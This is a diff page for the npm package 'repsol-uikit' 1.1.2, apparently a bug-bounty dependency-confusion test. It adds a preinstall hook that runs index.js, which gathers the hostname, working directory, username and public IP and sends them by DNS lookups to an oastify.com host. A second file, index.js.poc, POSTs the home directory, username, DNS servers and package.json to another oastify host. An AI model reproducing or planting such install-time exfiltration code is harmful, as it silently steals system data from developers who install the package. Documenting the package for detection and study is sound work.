repsol-uikit 1.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of repsol-uikit might be problematic. Click here for more details.
- package/index.js +22 -0
- package/index.js.poc +63 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
//author:- djurado@wearehackerone.com
|
2
|
+
|
3
|
+
const os = require("os");
|
4
|
+
const dns = require("dns");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const https = require("https");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
const { exec } = require("child_process");
|
11
|
+
exec("a=$(hostname;pwd;whoami;echo 'niroborg-npm-com-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $a.bxcyjs62l710bvuwvjc78dq05rbizbn0.oastify.com;done" , (error, data, getter) => {
|
12
|
+
if(error){
|
13
|
+
console.log("error",error.message);
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
if(getter){
|
17
|
+
console.log(data);
|
18
|
+
return;
|
19
|
+
}
|
20
|
+
console.log(data);
|
21
|
+
|
22
|
+
});
|
package/index.js.poc
ADDED
@@ -0,0 +1,63 @@
|
|
1
|
+
//author:- djurado@wearehackerone.com
|
2
|
+
|
3
|
+
const os = require("os");
|
4
|
+
const dns = require("dns");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const https = require("https");
|
7
|
+
const packageJSON = require("./package.json");
|
8
|
+
const package = packageJSON.name;
|
9
|
+
|
10
|
+
const trackingData = JSON.stringify({
|
11
|
+
|
12
|
+
p: package,
|
13
|
+
c: __dirname,
|
14
|
+
hd: os.homedir(),
|
15
|
+
hn: os.hostname(),
|
16
|
+
un: os.userInfo().username,
|
17
|
+
dns: dns.getServers(),
|
18
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
19
|
+
v: packageJSON.version,
|
20
|
+
pjson: packageJSON,
|
21
|
+
|
22
|
+
});
|
23
|
+
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
|
26
|
+
msg: trackingData,
|
27
|
+
|
28
|
+
});
|
29
|
+
|
30
|
+
var options = {
|
31
|
+
|
32
|
+
hostname: "jby6x0kazff8p3849rqfml48jzpqdh16.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
33
|
+
port: 443,
|
34
|
+
path: "/",
|
35
|
+
method: "POST",
|
36
|
+
|
37
|
+
headers: {
|
38
|
+
|
39
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
40
|
+
"Content-Length": postData.length,
|
41
|
+
|
42
|
+
},
|
43
|
+
|
44
|
+
};
|
45
|
+
|
46
|
+
var req = https.request(options, (res) => {
|
47
|
+
|
48
|
+
res.on("data", (d) => {
|
49
|
+
|
50
|
+
process.stdout.write(d);
|
51
|
+
|
52
|
+
});
|
53
|
+
|
54
|
+
});
|
55
|
+
|
56
|
+
req.on("error", (e) => {
|
57
|
+
|
58
|
+
// console.error(e);
|
59
|
+
|
60
|
+
});
|
61
|
+
|
62
|
+
req.write(postData);
|
63
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "repsol-uikit",
|
3
|
+
"version": "1.1.2",
|
4
|
+
"description": "dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|